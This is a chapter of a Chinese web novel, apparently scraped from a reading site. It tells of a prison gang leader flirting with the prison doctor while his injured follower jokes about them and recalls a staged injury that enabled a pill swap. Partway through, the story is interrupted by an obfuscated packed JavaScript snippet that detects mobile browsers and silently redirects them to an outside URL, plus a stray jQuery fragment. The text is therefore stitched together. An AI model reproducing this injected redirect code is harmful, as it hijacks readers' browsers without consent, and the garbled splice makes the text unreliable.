第二百三十四章 赏罚分明
作品:《卧底入狱?我直接整顿监狱法则》 “恢复得怎么样了?”林燃开口,声音低沉,带着点沙哑的磁性。
他这话明明是在问病床上的麻杆,但那双深邃得像古井一样的眼睛,却直勾勾地盯着苏念晚。
目光犹如实质,带着一种毫不掩饰的侵略性,顺着她白皙的脖颈,滑过白大褂的领口,最终死死地黏在她的眼睛上。
苏念晚被他看得心头猛地一跳,呼吸乱了。
她慌乱地移开视线,胡乱地将手里的剪刀和胶布扔进医疗盘里,发出“叮当”一声脆响。
“没……没伤到根本,休养半个月,手指的功能基本能恢复。”
苏念晚的声音有些发颤,她转过身,假装去整理药柜,试图避开林燃那张极具压迫感的网。
但药柜就在林燃身旁。
她走过去,伸手想要去拿上层的一盒头孢。
林燃并没有让开的意思。
他依旧保持着那个慵懒的站姿,只是微微偏过头,看着她靠近。
两人之间的距离不到半米,近到林燃能清晰地闻到她身上那股淡淡的栀子花香味,混杂着消毒水的气息,莫名地让人上瘾。
苏念晚踮起脚尖,指尖刚触碰到那盒药的边缘。
林燃突然伸出手。
他的动作极快,却又轻得像是一阵风。
修长有力的手指,看似是在帮她拿那个药盒,却在半空中,极其精准、极其隐蔽地擦过了苏念晚的手背。
粗糙的指腹,带着属于男人的滚烫体温,轻轻擦过那片细腻冰凉的肌肤。
像是一道微弱却致命的电流。
苏念晚浑身猛地一颤,手一抖,那盒药直接掉了下来。
林燃眼疾手快,另一只手稳稳地在半空中接住了药盒。
他微微低下头,凑到苏念晚耳边,用只有两个人能听见的气声,低低地笑了一声:
“苏医生,手怎么这么抖?”
苏念晚的脸红得几乎要滴出血来,她死死咬住下唇,瞪了林燃一眼。
那一眼里没有愤怒,只有一种被看穿后的羞恼和无法掩饰的春情,简直能把人的骨头看酥。
她一把夺过林燃手里的药盒,像一只受惊的兔子一样,飞快地转身走回病床边。
这两人在药柜这边的极限拉扯、目光拉丝,一丝不落地全落在了躺在病床上的麻杆眼里。
麻杆虽然是个在街头摸爬滚打、为了几块钱能跟人拼命的底层混混。
但他不傻。
或者说,在这个大染缸里混出来的老油条,对这种空气里突然发酵的荷尔蒙味道,简直比**还要敏感。
他左看看那个平时冷若冰霜、现在却脸红得像个熟透西红柿的女医生;右看看自家那个杀伐果断、在三监区一手遮天、此刻却靠在柜子上眼神拉丝的活阎王老大。
麻杆只觉得牙根一阵发酸。
他夸张地翻了个白眼,用那只完好的右手捂住眼睛,在病床上像条离开水的泥鳅一样扭动了两下,发出一声极其无奈的哀嚎:
“燃哥!苏医生!算我求求你们了,要不你们俩今天行行好,直接拿个手术缝合线,把我的眼珠子也给缝上得了!”
这突如其来的一嗓子,把苏念晚吓了一跳,手里的药盒差点又掉在地上。
“你胡说八道什么!”苏念晚结结巴巴地呵斥,整个人都快熟透了。
麻杆却不依不饶,他坐起身,用那只完好的手拍着大腿,满脸的苦大仇深:
“我哪有胡说八道啊!我这食指被机针生生扎穿了,那是工伤!我本来就疼得晚上睡不着觉,结果现在还得在这儿吃你们俩的狗粮!这算怎么回事啊?这精神损失算不算工伤?能不能报销啊!”
麻杆这番市井气十足、甚至带着点死皮赖脸的抱怨,直接把那层薄薄的窗户纸给捅了个稀烂。
苏念晚羞愤欲死,她哪里受得了这种直白的调侃。
她胡乱地把那盒头孢塞进麻杆完好的手里,丢下一句“药按时吃”,便捂着发烫的脸颊,像一阵风一样落荒而逃,直接躲进了里间的储藏室,“砰”的一声关上了门。
看着苏念晚那仓皇逃窜的背影。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394161|197428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林燃靠在药柜上,喉咙里溢出一声低沉的闷笑。
他走上前,抬起腿,不轻不重地踹了一脚麻杆的病床铁架子。
“哐当。”
“就你小子话多。”林燃笑骂了一句,但语气里并没有多少责怪的意思。
麻杆见老大没真生气,顿时嘿嘿一笑,用完好的右手挠了挠乱糟糟的头发:
“燃哥,我这不是给你们俩制造气氛嘛。我懂,我都懂。咱血牙盟的老大,配这监狱的狱花,那是绝配!四监区那帮干部犯就是眼红也得憋着!”
“狱花”多么小众的一个词。
林燃嘴角一扯。
玩笑归玩笑,他收敛了嘴角的笑意,拉过旁边的一把圆凳,在病床前坐了下来。
他看着麻杆那包得像个粽子一样的左手,眼神逐渐变得冷峻而深沉。
“还疼吗?”林燃问。
麻杆愣了一下,收起了那副嬉皮笑脸的模样。
他看着林燃那双认真的眼睛,心里突然涌起一股说不清道不明的暖流。
在这个监狱里,老大把小弟当炮灰那是天经地义的事。
豁嘴给白癜风卖命,手废了直接被像扔垃圾一样踹到一边,这样的事太多太多。
可眼前这个男人,在事情平息后,第一件事是来医务室看他这个底层打手。
“燃哥,说不疼那是放屁。”
麻杆吸了吸鼻子。
“但这条命都是你给的,一根手指头算什么。当时那情况,老严那王八蛋盯得那么紧,我要是不来点真格的,根本引不开他的视线。”
麻杆很清楚自己当时那一出“苦肉计”有多关键。
如果不是他毫不犹豫地把手指往高速运转的机针底下送,那场血淋淋的惨剧就不会发生,老严的注意力就不会被吸引,林燃也就绝对不可能有那短短三秒钟的时间,完成那场堪称神迹的“偷天换日”。
四片美托洛尔,换出了孙绍裘的**。
这一手,直接把一个前中院院长、一个副监狱长的联合阴谋,砸得粉碎。

